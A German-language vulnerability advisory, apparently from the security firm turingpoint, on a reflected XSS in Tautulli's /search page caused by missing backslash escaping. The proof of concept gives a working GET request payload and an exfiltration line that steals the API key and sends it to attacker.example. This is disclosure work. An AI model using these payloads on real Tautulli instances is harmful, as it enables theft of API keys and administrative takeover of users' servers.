Tautulli: Reflektiertes XSS in /search über unvollständiges Escaping des query-Parameters
Der query-Parameter von /search wird unvollständig escaped, sodass ein Backslash-Quote den JavaScript-String verlässt und über einen einzigen Link beliebigen Code im Origin von Tautulli ausführt.
Advisory-ID: TP-2026-020
Produkt: Tautulli (Monitoring- und Tracking-Tool für Plex Media Server)
Schwachstellentyp: Reflektiertes Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-45381
CVSS 3.1: 7.4 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Betroffene Versionen: <= 2.17.1
Behoben in: 2.17.2
Hersteller-Advisory: GHSA-mjvc-6cc2-6ffr
Gemeldet: 12. Juni 2026
Zusammenfassung
Tautulli ist ein Monitoring- und Tracking-Tool für Plex Media Server. Die Seite /search spiegelt den vom Nutzer gelieferten query-Parameter in einen Inline-<script>-Block, wobei der Wert durch ein handgeschriebenes Escaping läuft, das nur das doppelte Anführungszeichen und den Schrägstrich ersetzt. Der Backslash wird nicht escaped, sodass eine eingeschleuste Backslash-Quote-Sequenz den JavaScript-String-Literal schließt und in den Anweisungs-Kontext wechselt; ein nachgestelltes <!-- verwirft den Rest der Zeile und hält das Skript syntaktisch gültig. Tautulli liefert keine Content-Security-Policy, und die Standardkonfiguration setzt kein Passwort, sodass /search anonym erreichbar ist. Ein präparierter GET /search?query=...-Link führt damit beliebiges JavaScript im Origin von Tautulli aus, liest den permanenten API-Key und steuert die gesamte /api/v2-Administrationsschnittstelle. turingpoint hat den Ablauf verifiziert und verantwortungsvoll gemeldet; der Hersteller hat ihn in 2.17.2 behoben.
Ursache
Die Senke in data/interfaces/default/search.html:31 rendert var query_string = "${query.replace('"','\\"').replace('/','\\/') | n}"; und fügt den Request-Wert mit Makos No-Escape-Filter (| n) in einen JavaScript-String ein. Der query-Parameter erreicht die Senke unverändert aus dem Handler WebInterface.search (plexpy/webserve.py:5156). Das Escaping ersetzt das doppelte Anführungszeichen und den Schrägstrich, lässt aber den Backslash aus: Eingabe \" wird zu \\", also einem literalen Backslash gefolgt von einem nicht-escapten String-Terminator, und bricht in den Anweisungs-Kontext aus. Der Schrägstrich-Filter blockiert zwar //-Kommentare und </script>, doch <!-- ist ein gültiger einzeiliger JavaScript-Kommentar und neutralisiert den restlichen Template-Text. Die Standardkonfiguration deaktiviert das CherryPy-Auth-Tool, solange kein Passwort gesetzt ist (plexpy/webauth.py:295), sodass eine Standardinstanz /search anonym ausliefert.
Proof of Concept
Als anonymer Client (dekodierter Payload: \";window.XSSPOC=1;<!--):
GET /search?query=%5C%22%3Bwindow.XSSPOC%3D1%3B%3C%21-- HTTP/1.1
Host: 127.0.0.1:8181
Die Antwort fügt den Payload ohne Backslash-Escaping in das Skript ein:
var query_string = "\\";window.XSSPOC=1;<!--";
Beim Laden der URL im Browser läuft die eingeschleuste Anweisung beim Seitenaufbau (window.XSSPOC === 1), ohne Klick und ohne CSP. Ein Exfiltrations-Payload liest anschließend den von /settings ins DOM gerenderten API-Key aus:
query=\";fetch('settings').then(r=>r.text()).then(t=>new Image().src='//attacker.example/?k='+t.match(/id="api_key" value="(\w+)"/)[1]);<!--
Auswirkung
- Ausführung beliebigen JavaScripts im Origin von Tautulli über einen einzigen präparierten GET-Link.
- Offenlegung des permanenten, nicht ablaufenden API-Keys, der die vollständige
/api/v2-Administrationsschnittstelle von jedem Host aus freigibt. - Lesezugriff auf Plex-Wiedergabeverlauf und Nutzerdaten über UI und API.
- In einer Standardinstallation anonym und ohne Konfiguration ausnutzbar; mit aktivierter Authentifizierung genügt ein Klick eines beliebigen angemeldeten Nutzers.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
